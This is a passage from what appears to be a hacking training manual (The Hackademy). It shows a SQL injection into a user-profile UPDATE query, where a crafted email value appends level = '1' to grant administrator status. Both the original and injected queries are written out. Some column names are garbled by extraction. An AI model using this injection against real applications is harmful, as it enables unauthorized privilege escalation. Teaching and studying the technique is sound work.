Hack Security Pro.pdf - Index of

This is what the user sees on the navigator:
The SQL injection will turn to the updating request:
UPDATE users
SET name = '$name',
given name = '$given name',
email = '$email'
WHERE login = 'Crashfr'
We can use one of the 3 variables “$name”, “$given name”, “$email” to modify the request and carry
out the elevation of our privileges. So our aim is to modify the value of the “level” field and to put it to
“1”, to have Administrator status. This is what our final request looks like:
UPDATE users
SET name = 'Crash',
given name = 'Fr',
email = ' crashfr@thehackademy.net',
level = '1'
WHERE login = 'Crashfr'
For “email”, just give as a value what is typed in red in the request above.
The Hackademy DMP -128/209- SYSDREAM